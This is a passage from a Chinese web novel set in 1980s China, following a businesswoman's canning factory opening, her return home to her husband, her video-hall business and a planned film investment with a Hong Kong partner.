人群外,眼看着丁科长几人被忽悠走的柳绵绵忍不住笑了下,不愧是做行政工作的,这处理事情就是圆滑。 今天是揭牌开业的日子,不止余家人都来了,就连留下村的村干部们也都来了,还有些喜欢看热闹的,也是跟着一起来了。 他们其实在老乡们质问丁科长的时候就来了,只不过混在人群里没上前而已。 换了从前,遇见这种事情,余国梁和余国栋没准得冲上去一起跟着揍人,经历过这一年多的锻炼后,俩人倒是都沉稳多了,跟着柳绵绵一起在那儿看热闹。 看到丁科长被老乡们打,可比自己揍他舒服多了。 用柳绵绵的话说就是,这种跳梁小丑,理睬他都是给他脸了。 他们几个没动,跟着过来看热闹的村民倒是趁乱干了点“添砖加瓦”的事情。 等到丁科长几人走远,乡里几位领导才走到柳绵绵他们面前,洪乡长无奈道:“没想到南城军工厂派下来的人素质如此低下,这件事我会向上级和军工厂反应的,希望不影响柳同志还有两位余同志的干事热情,我们乡里还是非常支持罐头厂,也非常看好罐头厂的发展的。” 虽说明面上罐头厂是余国梁、余国栋兄弟俩办的,但乡里也清楚,背后的大股东其实是柳绵绵。 柳绵绵笑道:“我们对乡里也是非常信赖的,不然也不会选择在乡里办厂。” 洪乡长欣慰点头,这个话他是相信的,尤其是在知道罐头厂准备做腌菜罐头后。 毕竟有萝卜和竹笋的乡镇多了去,他们要办这个罐头厂,确实是有非常多的选择余地的。 “这都是小插曲,做生意就是这样,总会招来一些人的嫉妒和诋毁,这都不是什么大事情。”柳绵绵笑着邀请乡领导往前走,“这只能说明我们做得好,所以我们不会在意的,时间差不多了,我们过去揭牌吧。” 他们这一群人在老乡们的注视下走到了罐头厂大门前。厂里早准备了一排万响的挂鞭,随着鞭炮被点燃,震耳欲聋的鞭炮声中,余国梁代表厂方、洪乡长代表前进乡,一起揭开了盖在条牌上的红布,四周立时响起了热烈的掌声。 “前进乡有滋有味罐头厂!” “哎哟,这名字好听,罐头有滋有味,咱们的日子也会有滋有味的。” “咱们这萝卜和竹笋,真能做成罐头啊,哎哟,这可是新鲜了。” …… 老乡们热烈的讨论声中,罐头厂里早已严阵以待的工人们也开工了! 后面柳绵绵在前进乡又待了一周,和余国梁他们一起根据罐头厂开工后的情况,对之前制定的管理制度继续进行了优化,确定各个环节都顺畅了以后,她才回了南城。 生产应该是没问题了。 除了许丽的腌萝卜配方,他们还向国营饭店的一位大厨买了个焖笋的配方。 前进乡多竹笋,这位大厨成天跟竹笋打交道,几十年下来,倒是琢磨出了个独家的烧制配方,是乡里国营饭店的招牌菜。 在这两个配方的基础上,他们扩展了加辣和加糖的口味,所以品种也不算单一。 后面就是销售的问题了。 乡里会帮着解决一部分供销社的渠道,不过这肯定是不够的,尤其是乡镇供销社,顾客基本都不是他们的受众,他们罐头的受众主要还是在大城市。 目前厂里也没什么好的销售人员,所以余国栋准备自己带人出去试试。 他和柳绵绵一起先回了南城,结果刚出汽车站,就看见他那个弱不禁风的妹夫已经等在门口。 第83章 应该是觉得你需要补补吧?(…… 柳绵绵原本是计划在前进乡待个把星期的,但是厂子开工前确实事情千头万绪,所以最后一待就待了半个多月。 六月二十几号去的,本以为六月底七月初就能回来,最后实际回来已经七月十二号了。 沈维舟是每天跟她通电话的,他那边也挺忙的,一直没有空余的时间,不然他就直接去前进乡找媳妇儿了。两个人结婚以来,还从来没有分开这么久。 知道她今天回来,沈维舟自然是要过来接人的,他还特地约了辆出租车。 出租车南城一直都是有的,只不过是预约租车的方式,不太方便,除非是特别重要的事情,不然一般也没人会特地约车。 余国栋早知道自家妹夫疼媳妇儿,但确实也没想到他能这么疼媳妇儿,打听了一下租车的价格,他嘶嘶地吸气,哪怕这钱不用他花,也是心疼得不行。 他倒是想蹭车,可惜带的人多,一辆车子坐不下,干脆就和其他人一起挤公交去了。 出租车全面放开要到九十年代了,这时候确实是个稀奇玩意儿。坐上车以后,柳绵绵就好奇地四处张望,车子不怎么新,但是打理得特别整洁,司机师傅穿的是白衬衣黑西裤,还套了个手套,跟后世豪门电视剧里给霸道总裁开车的司机一个配置,仪式感拉满了。 两个人坐在出租车后排,因为前面还有司机,很多话不方便说。沈维舟一直抓着柳绵绵的手,间或侧头看她一眼,眼眸沉黑。他不说话,柳绵绵却看出来了,这人在控诉她出去太久,明明说的个把星期,实际却去了半个多月。 她笑眯眯,压低声音问:“你什么时候去北边?” 说到这个,沈维舟就更郁闷了。 单位之前通知的就是七月份,他原本以为妻子七月初回来,俩人还能好好待上一阵儿,哪知道迟了这么多天,他过几天就要启程了,而且,至少要在那边待半年以上。 重生以后他结合异世的武器装备,对华国现有的一部分轻型武器进行了改造升级,这个项目一开始并不起眼,等到项目成果出来以后,却震惊了很多人。 因为他的研究方向和目前国际上的方向截然不同,但是研究结果却是超越了目前国际主流方向的。 华国军方当然不可能完全知道美丽国和熊国的具体底细,但是根据各方面的资料,还是能有一些推测的,推测结果就是,哪怕没有超越,至少也是追上了的。 也正因此,某国才会大手笔地向华国采购武器,并且还表示,钱多多,武器也可多多的,但是种类方面人家也要多多的。 要不是考虑到沈维舟的身体状况,领导们甚至巴不得他能一直待在西北。 这自然是不可能的。 沈维舟是已经死过一次的人,这辈子他更想跟家人在一起,过平静的生活,当然,该尽的职责他也会尽,但是他不会为了那些事情放弃家人。 何况,因为有着异世的经历,他见识过的武器早已远远超过这个时代,所以并不需要多么艰苦的研究。 这也是沈维舟没有向单位解释自己身体状况的原因。 他能拿出来的东西已经是超越时代的了,适可而止的道理他还是懂的。 尽管如此,他也是必须要去西北待上一阵儿的,这就让沈维舟非常郁闷了。 他是真的觉得柳绵绵说的没错,他们新婚燕尔的,领导可太不当人了。 至于说结婚一年了……别说结婚一年,就是结婚三年,他们也是新婚燕尔。 柳绵绵听说他过几天就要启程去西北,心里也不禁涌起几许怅然若失。 不过想想自己其实也没那么忙,完全可以找时间过去,又觉得还好。 就是这个时候的西北生活条件可能会差一点,这个倒是也没什么,身为科研工作者的妻子,还是要有跟着吃苦的觉悟的。 这么一想,柳绵绵就忍不住笑了起来。 沈维舟侧头看她:“笑什么?” 柳绵绵看了眼一本正经目视前方的司机,飞快在沈维舟脸上亲了一口,再飞快扭头看向窗外,欲盖弥彰地说:“半个月不见,这边又多了两栋楼呢,咱们南城现在发展真是很快了。” 沈维舟看着她的侧脸,盯了几秒后,侧头向另一边笑了。 司机倒是什么也没察觉,接茬说了一句:“可不是,我们这天天在路上跑的,感觉更明显,天天都有变化,就说穿的衣服吧,去年跟今年就天差地别了。” 柳绵绵顺嘴就跟司机聊了起来,打听各个菜场、农贸市场和供销社的情况。余国栋他们这次过来,首先就是拓展南城本地这些销售渠道,完了再扩散到周边去。 出租车比公交车自然快多了,柳绵绵到家洗了个澡吃了点心,靠在躺椅里歇着了,余国栋他们才到的。 罐头厂编外人员刘婶做了一桌子菜招待余国栋他们,几个人吃饱喝足就拎着行李去了附近的招待所。 萝卜条正式投入生产以后,刘婶这边自然不好再卖了。 不过柳绵绵给她出了个主意,巷子口炸鸡店的隔壁,原先是家馒头店,老两口年纪大了做不下去,想要回乡下养老,准备把铺子盘出去,柳绵绵就怂恿刘婶把铺子盘下来,开个小卖部。 柳绵绵去前进乡之前,刘婶还在犹豫不决,这次回来,对方却是喜笑颜开的,说是铺子已经盘下来了,王叔每天下了班自己去收拾装修,已经快要弄好了,甚至一些相关的手续也都办起来了,只等货进来,就能开张营业了。 不过,说完这些,刘婶又长长地叹了口气,说:“我家志强也转业了,他说想回来南城给我们养老,就选了去南城化肥厂。” 柳绵绵知道刘婶的大儿子王志强在部队,是个副营长,本来去年就说要转业了的,临了在驻地附近谈上了个对象,于是就留在了部队。 这年月化肥厂是个好单位,别的国营工厂效益下降,化肥厂却是供不应求。去年余国梁跑南城来,就是为了上化肥厂买化肥。 按理能转业回南城,又是进化肥厂这样的单位,应该也是不错了,但是看刘婶这样子倒好像不太高兴? 柳绵绵问:“那志强大哥是什么时候回来,转业的事情顺利吗?” “嗐,转业的事情也没什么不顺利,过几天应该就回来了。就是他那个对象,原本都已经在商量结婚的事情了,听说他要转业,又不愿意嫁他了。”刘婶又叹了口气,“哦呦,再耽搁下去,志强都要三十了,这个对象要是黄了,回来也不知道什么时候能处上。” 王志强的个人问题是刘婶的一块心病,之前听说他处上对象了,不知道多高兴,现在儿子倒是马上能回来了,可对象却没了,刘婶这心里真是发愁。 “算了算了,可能就是缘分没到。”刘婶摆摆手,站起来,“早上在菜场抢到一块羊肉,我去炖起来,给你们补补。”说着飞快地就进了厨房。 柳绵绵满头雾水,侧头看了看屋檐外头的天空,虽然太阳西斜,但依然很热,没见她把躺椅都搬堂屋里来了嘛,电风扇一直咔嚓咔嚓吹着呢。 这种天气吃羊肉? 沈维舟捏着一本书,也没翻几页,这时候干脆把书扔在了一旁,倾身过去在柳绵绵耳边说:“刘婶,好像是觉得,咱们需要补补,好要孩子。” 柳绵绵眼睛一下瞪大了,盯着他好看的眉眼看了一会儿,忽然笑了下,也压低了声音,说:“刘婶应该是觉得你需要补补吧?” 明摆着的,他之前身体那么弱,没准家里长辈都没指望他能生崽,现在倒是好多了,但是他们结婚一年也没孩子,长辈自然也是怀疑他。 柳绵绵眨了眨眼睛,又问:“这阵子刘婶是不是经常给你进补?” 要不是怕沈维舟恼羞成怒,她都差点要笑出来了。 沈维舟瞪着她,眼见她嘴角翘得越来越高,干脆一低头,含住了她的唇。 看上去气势汹汹,其实在触碰到那一抹柔软时,就情不自禁丢盔弃甲,动作也不自觉地温柔了。 柳绵绵伸手环住他的脖颈,跟他接了一个绵长温存的吻。 某一瞬,沈维舟忽然放开她,在柳绵绵没反应过来的时候,顺手给她整理了一下衣服。 柳绵绵茫然看着他,脑子还没来得及转,就听见院门被人一把推开了,随之响起的是蒋红梅的声音:“我就说门没关,看,一推就开了。” “……” 柳绵绵侧头深深看了沈维舟一眼,这人,是不是过于敏锐了? 蒋红梅是和许海棠一起过来的,半个多月没见,几个店生意的情况还有广市批发档口和服装厂的筹备情况,都得跟柳绵绵说说。 “刘安民给我打电话,说现在去广市找门路的人比去年多了不知道多少,批发市场更是每天都人挤人,批发档口几乎是一天一个价,咱们买的那几个,价格都涨了一半了,这么下去应该还会涨。” 蒋红梅现在只恨自己没钱,当初不能再多买几个。 不过他们能买到五个已经非常不错了。 柳绵绵点点头:“回头价格合适的话,可以出掉两个。” 批发档口后面肯定还会涨价,但是他们一直拿着也没多大意义,与其租给别人,还不如卖掉回流资金做服装厂。租金再高也是有限的,服装厂的潜力却是巨大的。 柳绵绵从一开始就没指望囤着批发档口挣钱,她是知道这个批发档口在之后价格涨了好几倍的,所以就想挣一笔快钱。 服装店、炸鸡店和西餐厅生意自然都不错,尤其炸鸡店最近推出了夏日冰饮,销量比炸鸡还要好,预计接下来这两个月营业额应该都会进一步上升。 除此之外,录像厅的情况许海棠也是在关注的。 生意好自然不用说了,十几家店每天的流水加起来一直保持在五万以上,甚至随着越来越多人接受录像厅这个东西,开业活动后客流量并没有减少,反倒在暑假来临后还出现了增长,是实打实能生金蛋的金鸡了。 而他们不算对手的竞争对手大都会录像厅,据说从八家录像便利店开业后,生意就一落千丈,营收非常的惨淡。 只不过最近几天好像客流量又回升了。 也不知道伍衡怎么弄到的消息,总之就是大都会录像厅为了提升客流量,已经开始播放一些少儿不宜的东西来揽客了,据说效果还不错,倒是吸引了很大一批人,当然,同时也失去了一些女性的客户。 也就十来天吧,大都会录像厅已经变成“不良场所”的代名词了。 听到这里,柳绵绵皱了皱眉。 许海棠说起另外一件事:“六月二十八号,一号店私人厅接了一单生意,是处了挺久的一对对象求婚。那位男同志原本是想安排在六月十八号开业那天的,也是工作人员劝他改了时间,开业那天事情多,怕安排得不够周到,他就改了这个时间。” 蒋红梅插话说:“哎,这事儿我知道,我在南城晚报看见报道了,上面还有照片,场面弄得挺隆重的。” 许海棠笑道:“对,老板之前就说过,有人订私人厅搞活动的话可以联系下晚报,我们联系了他们,他们果然挺感兴趣的,说这是新时代下的新生活新观念。因为是第一个包场的顾客,又有报社采访,所以那天场地装饰得挺隆重的,顾客很满意的。” 柳绵绵自然要表扬一下,表扬完了就顺着说:“咱们多搞这种活动,让精品店和便利店也都自己想想办法,不管是免费主题电影,还是赞助单位搞联谊活动,总之不管什么形式,要把咱们录像厅的形象和大都会切割区分。要把不良场所这个四个字和大都会联系起来,而不是和录像厅联系起来。” 许海棠眼睛一亮:“我懂了。” 从入职西餐厅开始,许海棠就一直在尽量学习、提升自己,她感觉自己经过这段时间的锻炼,已经成长了很多,但是每次又总能从柳绵绵这里学到新的东西。 她有时候都在想,柳绵绵怎么会懂得这么多,脑子又这么活络? 从柳绵绵的人生经历来看,这简直就像是个奇迹。 许海棠想起伍衡前几天找她说的话,他说非常欣赏她的能力,愿意出双倍的价钱,让她跟着他干。 她当时就反问伍衡,我跟着柳老板能学到很多东西,跟着你能学到什么? 直接就把伍衡问得哑口无言。 第84章 真是要命了 聊完工作,蒋红梅说起了军工厂的八卦,这八卦还跟柳绵绵也有点关系。 “技术科的丁科长不是带队去前进乡给你们调试设备吗,结果回来的时候鼻青脸肿的,他媳妇儿气坏了,就说要找你们罐头厂麻烦,丁科长死活说自己是在路上不小心摔的。”蒋红梅笑得前仰后合,“哪个人摔能给自己摔成这样哦!” 蒋红梅笑着撞了下柳绵绵的肩膀:“你知道怎么回事吧?” 柳绵绵笑笑,蒋红梅这明显还有后续,她就不剧透打击她交流八卦的积极性了。 果然,见她不说话,蒋红梅就兴冲冲地对满脸好奇的许海棠说:“你猜怎么的,没过两天,前进乡那边就打电话告状到厂领导那里了,说这个人简直不知所谓,帮他们调试设备是好事,乡里是非常感激的。可这人竟然在开工当天,当着老百姓的面诅咒罐头厂要不了多久就得倒闭,把老百姓都气坏了,激愤之下揍了他两拳。” “前进乡的人说,乡里及时制止并妥善处置了,不仅及时送他去治疗了,乡长还自掏腰包给他包了个红包。结果怎么着?” 许海棠只觉得这人可真是讨厌,挨揍就是活该,乡长就不该给他红包,问:“怎么着?” 蒋红梅做了个无语的表情:“他当场拆开红包一看,说这点钱还不够他买营养品的,可把乡里的人给气坏了,有个小干事就冲过去把红包夺了回去,把人也给轰走了。丁科长还说要找这个小干事麻烦呢。” 许海棠简直难以置信,这是人能干出来的事情? “这丁科长不是军工厂的科长吗?” 军工厂可是大单位,能做到科长,按理怎么的也是有点能力的吧? 蒋红梅自小在军工大院长大,对大院里那些人倒是没什么滤镜:“自以为了不起,看不起乡下人呗。” 她妈钱爱真是南城周边乡下的,当初相亲跟她爹结婚的时候,她爹还是个无父无母、家徒四壁的学徒工。 结婚以后,她爹就跟坐火箭似的,先是顺利转正,后面又受到领导重视培养,再后面就是副组长、组长、副主任、主任,一路升职。 原先他们家跟工人们一起住逼仄的平房,后面就搬出来住上了筒子楼。 筒子楼的环境和平房不一样,这边大部分都是双职工,像是隔壁丁明霞更是自诩文化人,自然瞧不起钱爱真。 所以对于丁科长这样的,她也是见怪不怪。 有些人对上对下是两张面孔,对上有多谄媚,对下就有多傲气,瞧不起这个看不起那个的,自然也不会注意言行。 许海棠父母都是双职工,她爹还是大师傅,这方面感受倒是不深,也是结婚以后,才尝到了些世态炎凉,叹了口气说:“那这小干事麻烦了?” 柳绵绵笑道:“这倒是不会,他是乡长一手提拔的秘书。” 乡里一句“年轻人做事冲动,一定严肃批评教育”就把事情敷衍过去了。 其实人家那是冲动吗,人家那是维护自己的领导,跟领导打配合呢,不但不会对仕途有什么影响,怕是领导还得更器重他。 倒是丁科长,下基层办事完全不注意方式方法,人家不但告状告到厂里,还告到了上级主管部门,厂里领导被叫去挨了一顿批评,回来就给丁科长定了个处分。 蒋红梅和许海棠顺便在沈家混了顿晚饭。 这天气吃羊肉确实会有点燥,但是刘婶做的羊肉汤也确实是好喝,一碗羊肉汤下去,满头大汗,身体反倒一阵舒爽轻快。 吃完饭,蒋红梅和许海棠就回去了,用蒋红梅的话说就是,她俩再不走,沈维舟怕是得拿扫把直接赶人了。 临出门前,许海棠想起一件事:“对了,前几天有个港城口音的男同志跑到西餐厅来找你,我没见着人,小田说是以前的老顾客,他也没留什么联系方式,只说会再回来找你。这不过这几天也没见人来。” 不用想柳绵绵就知道肯定是李耀明了,她也就认识这么一个港城口音的顾客。 “好的,我知道是谁,回头他再来店里,让他直接给我打电话。”柳绵绵说。 其实之前她和李耀明也通过几次电话,李耀明是有她号码的,不知道为什么这人回来了倒是没给她打电话。 送走蒋红梅她们,柳绵绵又跟俞婉和刘婶说了会儿话,这才回到东厢。 看了眼坐在写字台前的沈维舟,柳绵绵转身进卫生间洗漱,洗漱完了往床上一躺,舒服地叹了口气。 这年头路况不好,哪怕省道也是坑坑洼洼、修修补补的,坐车是真的挺累的。 沈维舟洗漱完回来瞧她这样子,忍不住失笑问:“很累啊?” 柳绵绵靠在枕头上点点头,叹息:“一个小目标真难挣啊!” 沈维舟挑了眉:“一个小目标,是多少?” 他知道自己媳妇儿好像有个挣钱的目标,她有个账本,每个月记一次账,记账的时候就会嘀嘀咕咕还差多少什么的。 照她那个挣钱的速度,沈维舟猜测这个目标应该不会小,毕竟一年时间,她别说万元户了,保守估计都快百万了。 不得不承认,他媳妇儿是有点挣钱的天赋在身上的。 柳绵绵慢吞吞伸出一根食指。 一百万? 看她这样子应该不是,毕竟港城那边姨奶奶帮忙操作的股票,听说都差不多一百万了。 这件事别说他吃惊,他爸妈都很吃惊。 不是一百万,那就只能是:“一千万?” 说出口的时候沈维舟还有些恍惚。 他祖母其实给家里留了不少东西,不过除了不动产,就是一些珠宝首饰、字画瓷器什么的,唯一能拿来换钱的,也就是一小箱大黄鱼。 真要说现金,他们家其实也就几万块,其中一部分还是父母下放后补回来的工资。 几万块的存款,在这个年代来说已经是非常多的了。 可自从柳绵绵开始捣腾生意以后,沈维舟就觉得,他对钱的概念都要被刷新了。 万元户算什么,一百万在他媳妇儿眼里都不是什么大目标。 所以他觉得柳绵绵的目标可能是一千万。 只不过,话音刚落,沈维舟就看到柳绵绵摇了摇举着的那根手指,笑眯眯说:“不是哦。” 沈维舟:“……” 所以? 柳绵绵:“一个小目标,就是一亿。” 哪怕已经猜到,沈维舟也觉得不可思议:“你的目标是挣一亿?”南城的国营工厂每年能挣这么多的恐怕都屈指可数。 柳绵绵强调:“是暂时的小目标。” 进入九十年代以后,国内市场会更加活跃,以后挣钱的机会多了去,哪怕她不会劳心劳力地去挣钱,相信她的合伙人们也会奋力拼搏的。 所以柳绵绵觉得,以后自己必然是个亿万富婆。 沈维舟嘴角微抽,沉默了下,说:“行,那你加油。” 媳妇儿如果说要挣一千万,沈维舟可能还要想一想,但她说要挣一个亿,沈维舟干脆想都不想了。 反正一时半会儿不可能干成的事情,随她高兴去吧。 半个多月不见,夫妻俩说了会儿话就关灯睡下了,很快,漆黑的房间里响起让人脸红耳热的喘息声。 窗外月亮高悬,乌云忽而遮住月光,忽而又散开,夜渐渐深了。 虽然许海棠过来汇报过情况,但柳绵绵作为老板,第二天还是去西餐厅、炸鸡店还有录像厅转了转。 店太多了,她也不可能一家一家转过去,就随机挑了几家看了看,然后就去了晨曦路的一号店。 在大门口就碰见伍衡了。 舞厅的生意都在晚上,白天伍衡没什么事干,就干脆轮着巡店。 要不是他有辆摩托车,十几家店跑一遍就得累死他。 当然,哪怕有摩托车,他也不会每天把十几家店都跑一遍,都是随机抽个几家轮流跑一跑。 他们做的是正规生意,办了正规手续和执照的,也从来不播那些乱七八糟的东西,管起来倒是没那么累。 不过伍衡也发现了,店太多,加上他还有个舞厅,所以他自己一个人管肯定是不行的,他准备再请几个人。 说回来,伍衡之前还觉得,身边找不着工作到处混的人挺多的,舞厅能安排几个,但杯水车薪。 等到录像厅一开,柳绵绵直接把招工的事情扔给了他,他挑挑拣拣地安排了一批人,然后就发现,除了实在扶不起的那些,自己身边稍微好用点的,都已经安排干活了。 他最近甚至已经学着柳绵绵开始在报纸上打招聘广告了。 想挖许海棠也是真心的,一方面许海棠是真能干,另一方面,总看不到他心里空落落的难受。 伍衡都有些好奇,柳绵绵究竟给许海棠开了多少工资,又或者是给了多少好处,许海棠怎么就能每天起早摸黑地干活,还干得那么心甘情愿乐乐呵呵的? 柳绵绵可不知道伍衡心里的想法,她绕着停在一号店门口的摩托车看了一圈,啧啧了声:“挺酷啊,伍老板。” 这年头私家车不好买,驾照也不好考,当然,最关键的是,柳绵绵暂时也舍不得拿那么一大笔钱出来花在买车上,有这钱,还不如投到港城的股市里呢,那边股市还能红火一年呢,能挣不少了。 不过,没有车也真是不方便,交通的时间成本非常高。 柳绵绵在心里盘算着,等明年她一定想办法弄一辆车。 摩托车就不考虑了,不会开。 当然,这不影响她羡慕嫉妒。 想想伍衡开着摩托车去巡视十几家录像厅,那样子多拉风? 等天气凉了,穿个皮衣牛仔,再蹬个皮靴……那妥妥就是个西部牛仔了。 这么想着,柳绵绵忍不住就笑出了声。 伍衡一脸莫名其妙。 一号店的工作人员小武跑出来:“伍哥。”又冲柳绵绵打了个招呼:“柳老板。” 小武是见两个老板都在,怕店里说话不方便,才特意跑出来汇报的。 “那人过来转悠两三天了,每次都是楼上楼下每个厅都看过去,看完了就走了,也不看电视,也不买东西,也没有预订私人厅。” 总结就是:“看着不像好人。” 伍衡皱起眉头,录像厅是个新奇玩意儿,特别是他们这个一号店,弄得挺有特色的,有人慕名来参观挺正常的,但是这样的,还是头一回见。 “总不会是孙洲那孙子吧?”不过伍衡马上否认了自己的猜想,“应该不是那孙子,能挣快钱,他就不会安安分分挣钱,哪用得着安排人上咱们这儿打探。” 大都会录像厅的情况,伍衡自然是知道的,听说最近靠着带颜色的片子,生意挺火的。 伍衡倒是巴不得,反正他们不做那方面的生意,用柳绵绵的话说,那些人都不是他们的“目标客户”,让孙洲把这些人的钱赚了也好,省得那孙子闲着没事干出歪主意找他们麻烦。 “应该是有人好奇咱们的经营模式,没事,只要对方不做什么对咱们店不利的事情,没有影响到其他顾客,就让他看好了。”柳绵绵说。 会有人好奇也是正常的。 不过南城的市场暂时已经基本饱和,正常的观影有他们,不正常的观影有大都会,并且他们都已经有了自己固定的受众,想要现在插一脚抢蛋糕吃是很难的。 柳绵绵相信有点生意头脑的都不会干这种蠢事。 至于没有生意头脑的,那就更不用怕了。 而且,对方能学他们的经营模式,他们就不能继续更新吗? 不过柳绵绵还是夸奖了小武一番。 一号店每天客流量那么大,他能细心观察到那个人的异样,说明工作认真负责,能及时上报,生怕对方给店里带来损失,说明对这个店有认同感和归属感,不管他汇报的情况重不重要,柳绵绵都准备给予奖励。 小武被夸得喜笑颜开,伍衡在一旁看得牙疼。 原先屁颠屁颠跟在他后头的小兄弟,现在见了柳绵绵就跟见着财神爷似的。 小武笑呵呵地转身准备回去上班,一抬眼,看见巷子另一头走来两个人,马上猴子似的窜回柳绵绵他们身旁,挤眉弄眼地悄声说:“就是那个人,走过来的那个男的,喇叭裤,紧身衣,看着就不像什么好人。” 柳绵绵看过去,等看清楚那人的时候,不禁嘴角微抽。 真是要命了,这不是李耀明同志吗? 他原先那身廓形西服搭条纹T,看着还衣品还不错的,怎么一年不见,穿起了紧身T恤了? 哎哟,难怪小武说他不像好人。 第85章 不如赶紧拍电影 看见柳绵绵,李耀明非常高兴。 他确实有柳绵绵的电话号码,可就在回内地的路上,他把电话本给弄丢了。西餐厅的人自然不可能把老板家的号码给他,他只好偶尔去一趟,问问柳绵绵回来没有。 本来他正准备这两天再去一趟西餐厅呢,哪知道就在这里遇上了。 得知明星录像厅是柳绵绵和人合伙开的以后,李耀明啧啧称叹:“柳小姐,你不仅长得靓,做生意也好厉害的啦,录像厅港城也有的,不过都没有像你们介个一号店介样的啦。” 柳绵绵调侃:“所以你天天不消费,跑过来偷师?” 李耀明脸皮厚得很,一点没觉得不好意思,反倒说:“那些电视剧我都看过了的,没意思啦,还是看介个店有意思,柳小姐真是奇思妙想!” 他一副哥俩好的样子,拍拍伍衡:“伍先生真是好运气,能跟柳小姐一起做生意,好能赚钱的啦!” 寒暄几句后,李耀明介绍他身旁的年轻女人:“这位胡丹丹小姐,是南城剧团的歌星,简直是人靓歌甜。” 胡丹丹烫着一头大波浪卷发,身上穿了一件时髦的波点连衣裙,大红唇,**镜,乍一看,柳绵绵还以为是和李耀明一起从港城过来的。 此时胡丹丹已经摘了**镜,表情不太自然地笑了笑,说:“柳老板,伍衡哥。” 柳绵绵看一眼伍衡:“你们俩认识啊?” 她忽然想起来,伍衡的父母好像就是南城剧团的演奏师,当时他父亲被下放,母亲在剧团扫厕所,母子俩吃了不少苦。这是她当初想要和伍衡合作时调查的,当然,只是粗略地了解了一下,不然就成窥探别人隐私了。 伍衡勾了勾唇,说:“算吧。” 看样子似乎不是很待见这位胡丹丹。 胡丹丹抿了抿唇,没说话。 既然遇上了李耀明,柳绵绵就亲自带着他们又在一号店里转了一圈,李耀明跃跃欲试,表示想要在港城也开一家这样的录像厅。 不过柳绵绵倒是觉得,他与其费心思开什么录像厅,不如赶紧拍电影。 “我倒是想拍,可是手里钱不够啦。”李耀明叹气说。 回港城后,他才发现之前朋友牵线搭桥的那个项目果然有问题,虽然及时止损,但对方收到风声就跑路了,他投出去的资金自然也要不回来了,可以说是损失惨重。 电影自然也没钱拍了。 几人转完一圈后,开了间私人厅,也不看电视电影,干脆播着邓女神的歌坐着聊天。 柳绵绵笑道:“钱多有钱多的拍法,钱少有钱少的拍法,港城物价高,成本自然也高,如果在内地拍呢?” 这话一出,李耀明还在蹙眉沉思,胡丹丹倒是眼睛一亮,满含期待地看向李耀明:“李生,如果能在内地拍电影,我还是希望在内地。” 柳绵绵就知道,李耀明肯定是游说胡丹丹去港城了。 “在内地拍戏倒是可以,但是港城娱乐行业有不少湾岛的投资,他们会封杀在内地拍戏的导演和演员的啦。”李耀明无奈道。 柳绵绵知道这时候港城黑b盛行,这些人为了挣钱,甚至会直接绑架明星和他们的家人,逼迫他们拍戏,倒是不知道湾岛那边在港城也有这么大的能量,可以直接封杀导演和演员。 她看了眼李耀明:“你们李家也怕封杀?” 李耀明不好意思道:“我只是旁支啦。” 柳绵绵想了想,说:“那个故事不是分两部分吗,一部分在内地拍,一部分在港城拍,到时候就说部分取景自内地就行了。” 其实如果能让渡一些利益出去,再加上李家和徐家在港城的地位,倒也未必就怕了湾岛的势力,只不过没有这个必要,赚钱而已嘛,多一事不如少一事。 李耀明觉得这个办法非常好,尤其是在柳绵绵表示想要出资一起拍这部电影之后,更是欣喜不已。 他觉得柳绵绵能从林二小姐手里接过芷江西餐厅,俩人应该关系不错,还有就是柳绵绵短短时间开了这么多录像厅,说明资金、能力和运气都不错。 有人脉,有资金,有能力,关键还有运气,这样的生意伙伴他不要太欢迎。 伍衡自然不会放过这么好的机会,马上表示也想参一股。 胡丹丹看他一眼,抿了抿唇。 伍衡是柳绵绵的合作伙伴,李耀明自然也要给他个面子,何况他本来就缺资金,电影拍出来卖不卖座还不知道,他现在承担不起风险,巴不得能多拉点资金,于是马上爽快地答应了。 后续的事情还需要仔细商量,自然不可能今天就定,肯定得另约时间。 柳绵绵想到原书里描写女主投资娱乐业的情节时,曾提到一些知名的导演和演艺明星,这些人现在都还没什么名气,不是在一些剧组里打杂跑龙套,就是闲得在家抠脚,她准备回去仔细回忆一下,到时候试着去邀请一下。 这样若干年以后人们再重温这部电影,或许还会给予“全明星阵容”的评价呢。 柳绵绵看了看店里的运营情况,又和伍衡商量了下录像厅的后续发展,就准备回家了。 她一直没问胡丹丹的事情,倒是伍衡自己忍不住了,边送她出门边说:“我爸妈原先也是南城剧团的,我和胡丹丹小时候就认识。小时候我们两家关系不错,后来她母亲举报了我们家,我们就不来往了。” 柳绵绵看他一眼:“李耀明这部片子剧本挺精彩的,我感觉很值得投资,不过,李耀明很可能会邀请胡丹丹参演。” 伍衡摆摆手:“两码事,拍电影我也不懂,我投钱,其他的不管。”他其实纯粹是相信柳绵绵的投资眼光,而且,他也没那么傻,因为胡丹丹就放弃这么好的挣钱机会。 另一边胡丹丹也在跟李耀明说这件事:“……他父母当初犯了错误,一个被开除,一个被罚去扫厕所,他自己就在街上混着长大的,改开以后去了南方,莫名其妙就发家了,我们单位不少人都说,他在南方挣的钱可能不干净。” 温柔地看了李耀明一眼,胡丹丹带着点撒娇的口吻:“李生,我是怕你和他一起做生意会吃亏。” 胡丹丹觉得,做生意的人,最怕就是手段不干净的,何况李耀明还刚刚被人骗损失了一大笔钱,听到这话,应该就不会再让伍衡投资电影了。 李耀明之前说要带她去港城拍电影,她还在犹豫,今天听到他们说要在内地拍,她自然是很乐意的。 只是如果伍衡也投资这个电影,没准他会从中作梗。 哪知道李耀明听完以后并不以为然:“伍先生能在内地改革的第一时间就去南方,说明他很有魄力啦,他投资舞厅和录像厅,也很有眼光呀!做生意嘛,最重要的就是眼光和运气啦,我看他这两方面都不错。柳小姐愿意和他合伙做生意,肯定没问题的啦。你不知道,柳小姐老公家里有背景的啦。” 他可是和西餐厅的人打听过的。 更何况,内地的混混算什么哦,港城的古惑仔才叫厉害呢。 他一个港城人,是不会在意这些的,不然他在港城生意就没法做了。 胡丹丹咬了咬嘴唇,没再说话。 想到当年她哥带着他们一群小屁孩,往伍家门口泼尿泼屎,抢伍家的东西,她心里就虚得不行。 一个人跑到南方,怎么就没死在那边呢,不但挣了钱回来,现在还搭上了有背景的女人。 老公家里有背景的女人……胡丹丹突然眼睛一亮。 一个年轻女人,偏偏要跟个没结婚的年轻男人合伙做生意,她丈夫家里难道就一点意见也没有? 哪怕一开始没意见,万一外头有什么风言风语呢? 听说伍衡和大都会舞厅的孙老板不太对付,胡丹丹想起剧团有个小姐妹好像认识孙老板,心里暗暗做了个决定。 对此一无所知的柳绵绵“巡视”完自己生意后,就回了家,后面几天也没再出门,专心在家帮沈维舟准备出门的东西。 